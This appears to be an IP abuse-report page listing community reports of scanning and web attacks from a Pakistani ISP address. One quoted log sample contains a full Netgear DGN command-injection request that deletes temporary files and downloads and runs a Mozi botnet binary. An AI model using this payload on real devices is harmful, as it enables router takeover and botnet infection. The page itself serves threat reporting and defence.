58.65.216.4
Neutral Activity
There is no recent abuse activity, or the IP address is whitelisted.
- ISP
- Broadband Services
- Usage Type
- Fixed Line ISP
- ASN
- AS9541
- Domain Name
- cyber.net.pk
- Country
- 🇵🇰 Pakistan
- City
- Karachi, Sindh
No reports in the last 60 days
58.65.216.4 has been reported 21 times. The most recent report is from .
The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.
Abuse Reports
Total reports
21 from
12 distinct
reporters
First reported
Most recent report
| Reporter | IoA Timestamp (UTC) | Comment | Categories |
|---|---|---|---|
| Anonymous |
[dev.backorder.gr] httpd-webshell-cmd: sites=global; logs=/var/log/nginx/access.log; samples=/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://58.65.216.4:58670/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
|
Hacking Web App Attack | |
| 🇷🇸 Scan |
MultiHost/MultiPort Probe, Scan, Hack -
|
Port Scan Hacking | |
| 🇺🇸 Starburst SysOp Team |
(mod_security-custom) mod_security (id:211210) triggered by 58.65.216.4 (PK/Pakistan/Balochistan/Quetta/-/[AS9541 CYBERNET-AP Cyber Internet Services Pvt Ltd.]): 1 in the last 3600 secs (0-srv1)
|
Hacking | |
| Anonymous |
denied traffic to a honeypot network. destination port 52869.
|
Port Scan Hacking | |
| 🇺🇸 HamSammich |
Automated sensor: 1 HTTP connection/probe attempts over the last 24h (latest 2026-08-31T09:00Z).
|
Brute-Force Web App Attack | |
| 🇺🇸 RAP |
2026-08-27 07:02:51 UTC Unauthorized activity to TCP port 8443. Web App
|
Port Scan Web App Attack | |
| 🇺🇸 thororen |
Blocked by UFW [8443/tcp]
Source port: 28715
TTL: 48
Packet length: 60
TOS: 0x00
This report was generated by:
https://github.com/sefinek/UFW-AbuseIPDB-Reporter
|
Port Scan | |
| 🇮🇪 RoboSOC |
Netgear DGN Device Remote Command Execution Vulnerability , PTR: PTR record not found
|
Hacking | |
| Anonymous |
denied traffic to a honeypot network. destination port 80.
|
Port Scan Hacking | |
| 🇹🇷 SeczarSecureOps |
Auto-blocked by Seczar SecureOps — Crypto Miner / C2 Outbound (4 events in 5min) at 2026-07-26 15:17
|
Web App Attack | |
| 🇮🇪 RoboSOC |
Netgear DGN Device Remote Command Execution Vulnerability , PTR: PTR record not found
|
Hacking | |
| Anonymous |
denied traffic to a non-approved destination port. destination port 8080.
|
Port Scan | |
| 🇧🇷 somosbr |
[2026-07-19T12:32:48Z] Unsolicited scan from 58.65.216.4 to port 8080/tcp
|
Port Scan | |
| 🇺🇸 MPL |
tcp/81 (8 or more attempts)
|
Port Scan | |
| Anonymous |
Unauthorized connection attempt
|
Port Scan Hacking Exploited Host |
Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown